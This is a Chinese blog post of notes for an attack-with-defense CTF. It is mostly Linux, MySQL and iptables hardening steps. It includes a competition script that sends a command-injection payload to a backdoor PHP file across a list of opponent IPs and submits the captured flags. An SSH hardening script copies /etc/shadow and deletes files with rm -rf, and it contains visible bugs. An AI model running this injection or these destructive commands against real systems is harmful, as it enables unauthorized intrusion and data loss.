Awd Note

警告
本文最后更新于 2019-06-18,文中内容可能已过时。

线下攻防赛笔记。

从下面几个方面入手。

passwd命令修改用户密码,数据库密码,数据库中的网站账户密码

查看/etc/passwd下的后门用户,删除

备份/var/www/html/下的源码,d盾扫描后门

禁止修改文件夹内容chattr -R +i /var/www/html

看下最近的敏感操作

1
cat /root/.bash_history

看下最近登录的账户 lastlog

1
last -n 5|awk '{print $1}'

ps aux ps -ef查看诡异进程 查看已建立的网络连接及进程

1
netstat -antulp | grep EST

批量杀进程

1
kill `ps aux|grep 进程名|awk {'print $2'}`

查找24小时内修改的文件

1
find ./ -mtime 0 -name "*.php"

/etc/ssh/sshd_config

修改ssh端口号

增加条目

1
2
3
4
AllowUsers root
AllowGroups root
DenyUsers	看情况
DenyGroups	看情况
1
2
3
4
/etc/hosts.allow
/etc/hosts.deny
# cat hosts.allow
sshd: 172.24.11. , 172.24.12.	//sshd只允许这两个ip段链接

更改完需要重启ssh服务

备份mysql数据库

1
2
mysqldump -u 用户名 -p 密码 数据库名 > bak.sql
mysqldump --all-databases > bak.sql

还原mysql数据库

1
mysql -u 用户名 -p 密码 数据库名 < bak.sql

删除phpmyadmin

更改MySQL root密码

方法1: 用SET PASSWORD命令

1
2
mysql -u root
mysql> SET PASSWORD FOR ['root'@'localhost'](mailto:'root'@'localhost') = PASSWORD('newpass');

方法2:用mysqladmin

1
mysqladmin -u root password "newpass"

如果root已经设置过密码,采用如下方法

1
mysqladmin -u root password oldpass "newpass"

方法3: 用UPDATE直接编辑user表

1
2
3
4
5
6
7
mysql -u root

mysql> use mysql;

mysql> UPDATE user SET Password = PASSWORD('newpass') WHERE user = 'root';

mysql> FLUSH PRIVILEGES;

在没有root密码的时候,可以这样

1
2
3
4
5
6
7
mysqld_safe --skip-grant-tables&

mysql -u root mysql

mysql> UPDATE user SET password=PASSWORD("new password") WHERE user='root';

mysql> FLUSH PRIVILEGES;

日志路径

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
/var/log/auth.log
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/messages
lastlog
last
lastb
/var/log/maillog
/var/log/secure 
find / -name nginx.conf nginx的配置文件中有日志目录
access_log /var/log/nginx/access.log;
error_log /var/log/nginx/error.log;
tomcat的日志默认是存放在安装目录下的logs目录下

查看访问最多的前十个IP

1
cat /var/log/apache2/access.log |cut -d ' ' -f1|sort|uniq -c|sort -r|head -n 10

查看访问最多的前十个url

1
cat /var/log/apache2/access.log |cut -d ' ' -f7|sort|uniq -c|sort -r|head -n 10
1
2
3
git clone https://github.com/seb-m/pyinotify.git
cd pyinotify/
python setup.py install

启动监控

1
python -m pyinotify /var/www/html/

iptables操作

开放端口

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
#开放ssh
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A OUTPUT -p tcp --sport 22 -j ACCEPT
#打开80端口iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A OUTPUT -p tcp --sport 80 -j ACCEPT
#开启多端口简单用法
iptables -A INPUT -p tcp -m multiport --dport 22,80,8080,8081 -j ACCEPT
#允许外部访问本地多个端口 如8080,8081,8082,且只允许是新连接、已经连接的和已经连接的延伸出新连接的会话
iptables -A INPUT -p tcp -m multiport --dport 8080,8081,8082,12345 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -p tcp -m multiport --sport 8080,8081,8082,12345 -m state --state ESTABLISHED -j ACCEPT

限制IP和访问速率

1
2
3
4
5
6
#单个IP的最大连接数为 30
iptables -I INPUT -p tcp --dport 80 -m connlimit --connlimit-above 30 -j REJECT
#单个IP在60秒内只允许最多新建15个连接
iptables -A INPUT -p tcp --dport 80 -m recent --name BAD_HTTP_ACCESS --update --seconds 60 --hitcount 15 -j REJECTiptables -A INPUT -p tcp --dport 80 -m recent --name BAD_HTTP_ACCESS --set -j ACCEPT
#允许外部访问本机80端口,且本机初始只允许有10个连接,每秒新增加2个连接,如果访问超过此限制则拒接 (此方式可以限制一些攻击)
iptables -A INPUT -p tcp --dport 80 -m limit --limit 2/s --limit-burst 10 -j ACCEPTiptables -A OUTPUT -p tcp --sport 80 -j ACCEPT

放DDOS

1
iptables -A INPUT -p tcp --dport 80 -m limit --limit 20/minute --limit-burst 100 -j ACCEPT

iptables-save 保存

下面是在iscc2019下线awd中用到的脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests


def getflag(ip):
    # 批量获取shell
    url = "http://{}/8d20d57e2f2b9be5/fb30e70f7813489ddae79be07925a34a.php".format(ip)
    print(url)

    data = {
        'a': 'a=1);system(getflag',
    }
    res = requests.post(url, data, ).content
    print res[758:-1]
    if 'flag' in res:
        postflag(res[758:-1])


def postflag(flag):
    flag = flag.replace('\n','').replace('\t','').strip()
    headers = {
        'Cookie': 'MacaronSession=b54f71d79035ee55'
    }
    data = {
        'flag': flag
    }
    print flag
    r = requests.post('http://172.16.100.5:4000/sendconflictflag', data=data, headers=headers)
    print(r.content)

def getip():
    with open('ip.txt', 'r') as f:
        ips = [ip.strip('\n').replace('\t', '') for ip in f.readlines()]
        for ip in ips:
            # print(ip[0:3])
            try:

                if ip[0:3] == '119':
                    getflag(ip[1:])
                # if ip[:3] == '192':
                #     getflag(ip[1:])
            except:
                continue

if __name__ == '__main__':
    # for ip in range(1, 255):
    # getflag('192.168.{}.1'.format(ip))
    # getflag('127.0.0.1')
    getip()
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# author:Y4er
import logging
import random
import string
import paramiko

logger = logging.getLogger("Logger")
logger.setLevel(logging.DEBUG)
handler = logging.StreamHandler()
formatter = logging.Formatter(fmt='%(asctime)s - %(levelname)s - %(message)s', datefmt='%Y/%m/%d %H:%M:%S')
handler.setFormatter(formatter)
logger.addHandler(handler)


def randomStr(size=16, chars=string.ascii_uppercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))


def changeSSHPwd(host, username, newpasswd='root', port=22, timeout=5):
    '''
    更改ssh root密码并返回链接会话对象
    :param host: ip地址
    :param username: root
    :param newpasswd: 新密码
    :param port: 端口默认22
    :param timeout: 连接超时5s
    :return:
    '''
    try:
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        ssh.connect(host, port, username, newpasswd, timeout=timeout)
        logger.info("{} 链接成功.".format(host))

        stdin, stdout, stderr = ssh.exec_command('id')
        logger.info("当前用户权限:%s" % stdout.read().strip('\n'))
        stdin, stdout, stderr = ssh.exec_command('echo {}:{}|chpasswd {}'.format(username, newpasswd, username))
        logger.warning('尝试更改{}密码为:{}.'.format(host, newpasswd))

    except Exception as e:
        logging.error("{} ssh connect fail.{}".format(host, e))
        exit(0)
    return ssh


def check(session):
    '''
    显示一些基本信息
    :param session: ssh会话
    :param rootpass: 原root密码
    :return:
    '''
    stdin, stdout, stderr = session.exec_command(
        '''sudo cat /etc/passwd|grep -v nologin|awk -F ":" {'print $1"|"$3"|"$4"|"$6'}''')
    logger.info("显示可疑用户\n" + stdout.read())

    stdin, stdout, stderr = session.exec_command('''last -n 10|awk '{print $1}' ''')
    logger.info("显示最近登录的10个用户\n" + stdout.read())

    stdin, stdout, stderr = session.exec_command(
        '''find / -iname "*upload*" |grep php ''')
    logger.info("可疑上传文件的脚本\n" + stdout.read())

    stdin, stdout, stderr = session.exec_command(
        '''netstat -natlp |sed '1,2d'|awk -F " " {'print $4"|"$5"|"$6'} ''')
    logger.info("所有开放的端口号\n本地主机|远程主机|状态\n" + stdout.read())

    stdin, stdout, stderr = session.exec_command(
        '''netstat -antulp | grep EST ''')
    logger.info("查看已建立的网络连接及进程\n" + stdout.read())

    stdin, stdout, stderr = session.exec_command(
        '''find / -mtime 0 -name "*.php" ''')
    logger.info("查找24小时内修改的文件\n" + stdout.read())


def bak(session, rootpass, newrootpass='root'):
    '''
    备份文件
    :param session:ssh会话
    :return:
    '''
    session.exec_command(
        '''sudo cp /etc/passwd /tmp/passwd && sudo cp /etc/shadow /tmp/shadow ''')
    logger.info("备份passwd和shadow到/tmp/")

    stdin, stdout, stderr = session.exec_command(
        '''mkdir /tmp/www/ && cp -R /var/www/html/ /tmp/www/ ''')
    logger.info("备份/var/www/html/到/tmp/www/")

    session.exec_command(
        '''mkdir /tmp/database/ && mysqldump -uroot -p{} --all-databases > /tmp/database/all.sql'''.format(rootpass))
    logger.info("备份MySQL数据库到/tmp/database/all.sql")

    session.exec_command('''find / -iname "phpinfo.php"|xargs rm -rf''')
    logger.warning("删除phpinfo.php")

    session.exec_command('''find / -type d -iname "*phpmyadmin*"|xargs rm -rf''')
    logger.warning("删除phpmyadmin")

    session.exec_command('''mysqladmin -u root -p{} password {}'''.format(rootpass, newrootpass))
    logger.warning("修改MySQL root账户密码为{}".format(newrootpass))
    session.exec_command('''service mysql restart''')


def defend(session, ip):
    '''
    加固措施
    :param session: ssh会话
    :param ip: 你的ip或c段
    :return:
    '''
    stdin, stdout, stderr = session.exec_command('''echo "sshd:{}" >> /etc/hosts.allow '''.format('ip'))
    logger.warning("添加{}到/etc/hosts.allow".format(ip))
    stdin, stdout, stderr = session.exec_command('''service ssh restart''')

    stdin, stdout, stderr = session.exec_command(
        '''mkdir -R /bin/zzrvtc/ && mv /bin/curl /bin/zzrvtc/curl && mv /bin/wget /bin/zzrvtc/wget && mv /bin/ls /bin/zzrvtc/ls && mv /bin/cd /bin/zzrvtc/cd&&mv /bin/ll /bin/zzrvtc/ll''')
    logger.warning("移动curl wget cd ls ll命令到/bin/zzrvtc/下 {}".format(stdout.read()))


if __name__ == '__main__':
    # 更改ssh密码为root
    session = changeSSHPwd('192.168.24.128', 'root', 'root')
    # check
    check(session)
    # 更改mysql密码为root
    bak(session, 'root')
    # 防御策略
    defend(session,'192.168.24.128/24')
1
2
批量给php文件引用waf.php
find . -type f -name "*.php"|xargs sed -i "s/<?php/<?php\nrequire_once('\/tmp\/waf.php');\n/g"